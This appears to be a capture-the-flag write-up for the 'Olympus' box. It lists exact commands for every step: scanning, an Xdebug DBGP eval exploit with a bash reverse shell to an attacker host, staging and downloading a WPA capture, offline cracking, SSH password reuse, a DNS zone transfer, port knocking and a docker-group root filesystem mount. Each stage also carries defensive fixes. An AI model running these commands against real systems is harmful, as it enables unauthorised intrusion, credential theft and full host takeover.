Olympus
Summary
I scanned the target and found an Apache/PHP web server whose HTTP response headers advertised Xdebug 2.5.5 — a PHP remote debugger — was active and unauthenticated. A DBGP eval command delivered a reverse shell as the web user inside a Docker container. Filesystem enumeration inside the container recovered a WPA wireless capture file left by a prior airgeddon session, which was exfiltrated and cracked offline to recover the wireless passphrase.
That passphrase had been reused verbatim as the SSH password for user icarus on an alternate SSH listener at port 2222, giving an interactive shell in a second container. A hint file in icarus's home directory named a subdomain; a DNS zone transfer against it leaked a port-knock sequence and credentials for the prometheus account inside a DNS TXT record — credentials that should never appear in public DNS. Performing the knock sequence opened the real SSH port, and prometheus authenticated successfully.
Because prometheus was a member of the docker group — an effective root equivalent — a container was launched with the host's root filesystem bind-mounted, granting unrestricted access to every file on the host, including both flags.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Full TCP port scan to discover all open and filtered ports.
$ nmap -p- --min-rate 3000 -Pn -T4 $TARGET
22/tcp filtered
53/tcp open
80/tcp open
2222/tcp openFetch HTTP response headers; the Xdebug version banner appears in the output.
$ curl -i http://$TARGET/FixDisable Xdebug and all PHP debug extensions in productionCritical
Exact commands 3
Catch the reverse shell — run in a separate terminal.
$ nc -lnvp 4444Xdebug 2.5.x DBGP exploit script: listens on port 9000, sends an eval payload when the debugger calls back. Replace <LHOST> with $ATTACKER_IP. Public reference: github.com/nqxcode/xdebug-exploit.
$ python3 xdebug_exploit.py --target-host $TARGET --target-port 80 --lhost <LHOST> --lport 9000 --command 'bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"'If the script does not auto-trigger, send this request to force the Xdebug callback to <LHOST>:9000.
$ curl -s http://$TARGET/index.php -H 'X-Forwarded-For: <LHOST>'Exact commands 3
Search the container filesystem for wireless capture files.
$ find / -name '*.cap' 2>/dev/nullStage the capture file in the Apache web root for exfiltration.
$ cp /home/zeus/airgeddon/captured/captured.cap /var/www/html/captured.capDownload the capture file to my machine.
$ curl -o captured.cap http://$TARGET/captured.capFixRemove sensitive credential files from server and container filesystems; enforce unique passwords per serviceHigh
Exact commands 1
Dictionary attack against the captured WPA handshake; recovers the plaintext passphrase.
$ aircrack-ng captured.cap -w /usr/share/wordlists/rockyou.txtExact commands 2
Log in as icarus using the cracked WPA passphrase on the non-standard SSH port.
$ sshpass -p "$PASSWORD" ssh -p 2222 -o StrictHostKeyChecking=no icarus@$TARGETRead the hint file that reveals the ctfolympus.htb subdomain for DNS enumeration.
$ cat /home/icarus/help_of_the_gods.txtExact commands 1
Request the full DNS zone for ctfolympus.htb; the TXT record contains the username, passphrase, and port-knock sequence verbatim.
$ dig axfr ctfolympus.htb @$TARGETFixRestrict DNS zone transfers to authorised servers and remove all credentials from DNS recordsCritical
Exact commands 3
Send the three-port knock sequence to unfilter port 22. Fallback if knock is unavailable: 'for p in 3456 8234 62431; do nc -z -w1 $TARGET $p; sleep 0.15; done'.
$ knock -d 150 $TARGET 3456 8234 62431SSH to the now-open port 22 using credentials recovered from the DNS TXT record.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=8 prometheus@$TARGETConfirm group membership; output will include 'docker', confirming the privilege-escalation path.
$ idExact commands 2
Mount the host filesystem into the container as root and read user.txt. Run 'docker images' to list available image names if 'olympia' differs.
$ docker run --rm -v /:/mnt -u 0 olympia sh -c 'id && cat /mnt/home/prometheus/user.txt'Read root.txt directly from the host — no further exploit needed.
$ docker run --rm -v /:/mnt -u 0 olympia sh -c 'cat /mnt/root/root.txt'FixRemove unprivileged users from the docker group and enforce least-privilege container managementCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 53/tcp | domain |
| 80/tcp | http |
| 53/udp | domain (unknown banner: Bind) |
| 2222/tcp | ssh (protocol 2.0) |
| 22/tcp | ssh |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.